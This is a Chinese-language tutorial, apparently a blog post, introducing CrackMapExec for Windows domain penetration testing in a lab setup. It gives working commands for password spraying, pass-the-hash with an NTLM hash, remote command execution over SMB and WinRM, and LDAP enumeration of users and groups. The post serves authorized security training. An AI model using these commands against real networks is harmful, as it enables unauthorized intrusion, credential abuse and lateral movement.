用途限制聲明,本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具,嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果,作者及發布平臺不承擔任何責任。滲透測試涉及復雜技術操作,可能對目標系統造成數據損壞、服務中斷等風險。讀者需充分評估技術能力與潛在后果,在合法合規前提下謹慎實踐。
CrackMapExec(簡稱 CME)是一款專為 Windows 網絡滲透測試設計的自動化工具,集成了信息枚舉、憑證驗證、橫向移動等核心功能,廣泛用于紅隊演練和安全評估。
一、核心介紹
CME 基于 Python 開發,通過封裝多種 Windows 常用協議(SMB、LDAP、WinRM、MSSQL 等),實現對目標網絡的批量操作。其核心價值在于簡化滲透流程:無需手動逐個測試主機,可通過命令行批量枚舉信息、驗證憑證、執行命令,快速定位網絡中的安全弱點(如弱密碼、過度權限等)。CME主要應用于域環境中,注重于后滲透領域。
適用場景:
- 內網信息收集(主機存活、操作系統、共享資源、用戶列表等);
- 憑證有效性驗證(密碼噴灑、哈希傳遞攻擊);
- 橫向移動(通過有效憑證遠程執行命令、部署后門)。
二、工作原理
CME 的核心原理是利用 Windows 協議的交互邏輯,通過發送特定請求與目標主機通信,解析返回結果獲取信息或執行操作。以下是關鍵協議的作用:
-
SMB 協議(Server Message Block)
最核心的協議,Windows 默認開啟(端口 445),用于文件共享、遠程命令執行等。CME 通過 SMB 協議可:- 枚舉主機基本信息(操作系統版本、域名、工作組);
- 驗證用戶憑證(明文密碼或 NTLM 哈希);
- 執行命令(通過
psexec
或wmiexec
類似邏輯,在目標主機上運行命令)。
-
LDAP 協議(Lightweight Directory Access Protocol)
用于域環境中目錄服務(如 Active Directory)的查詢,CME 通過 LDAP 可枚舉域用戶、組、OU(組織單位)、域控制器等信息。 -
WinRM 協議(Windows Remote Management)
基于 HTTP/HTTPS(端口 5985/5986),用于遠程管理,CME 可通過 WinRM 執行命令(類似Invoke-Command
)。 -
哈希傳遞攻擊(Pass-the-Hash, PtH)
CME 支持 PtH 的核心原理:Windows 驗證時,NTLM 哈希可直接替代明文密碼用于身份驗證。CME 通過傳遞哈希值(而非明文)向目標 SMB 服務發送驗證請求,實現無需明文密碼的登錄。
三、安裝方法
CME 主要在 Linux 環境(如 Kali Linux)運行,以下是常見安裝方式:
Kali Linux 快速安裝,Kali 默認預裝 CME,若未安裝或需更新:
sudo apt update && sudo apt install crackmapexec -y
源代碼下載:【免費】CrackMapExec-一款強大的后滲透工具資源-CSDN下載
四、使用
CME 的命令格式為:
crackmapexec <協議> <目標> [選項]
其中,<協議>
可指定smb
(默認)、ldap
、winrm
等;<目標>
可以是單 IP、IP 段(如192.168.1.0/24
)或 CIDR。
在搭建的域環境中進行操作。
1. 基礎信息枚舉(SMB 協議)
枚舉目標網段的存活主機、操作系統、域名等:
# 掃描192.168.1.0/24網段,獲取基礎信息
crackmapexec smb 192.168.1.0/24
# 枚舉目標主機的共享資源
crackmapexec smb 192.168.1.100 --shares
2. 憑證驗證(密碼噴灑 / 哈希傳遞)
密碼噴灑(避免賬號鎖定,先查密碼策略):
# 查看目標的密碼策略(如最小長度、鎖定閾值)
crackmapexec smb 192.168.1.0/24 --pass-pol# 對網段批量測試用戶名+密碼(如域用戶admin,密碼P@ssw0rd)
crackmapexec smb 192.168.1.0/24 -u admin -p 'P@ssw0rd'
哈希傳遞攻擊(使用 NTLM 哈希驗證):
# 格式:-u 用戶名 -H NTLM哈希(注意哈希需為LM:NTLM格式,LM可留空為aad3b435b51404eeaad3b435b51404ee:NTLM)
crackmapexec smb 192.168.1.100 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'
這個就需要用其它工具先抓取Hash,再進行操作
?
3. 橫向移動(遠程執行命令)
通過有效憑證在目標主機上執行命令:
# 使用SMB協議執行命令(返回結果)
crackmapexec smb 192.168.1.100 -u admin -p 'P@ssw0rd' -x 'whoami'# 使用WinRM協議執行命令(適用于開啟WinRM的主機)
crackmapexec winrm 192.168.1.100 -u admin -p 'P@ssw0rd' -x 'ipconfig'
4. 域環境枚舉(LDAP 協議)
在域環境中枚舉域用戶、組、域控制器等:
# 枚舉域內所有用戶(需域用戶憑證)
crackmapexec ldap 192.168.1.200(域控IP) -u 'domain\admin' -p 'P@ssw0rd' --users# 枚舉域內所有組
crackmapexec ldap 192.168.1.200 -u 'domain\admin' -p 'P@ssw0rd' --groups
除這些以外,還有其它很多的功能,使用命令查看幫助即可
crackmapexec -h
?
?
?
?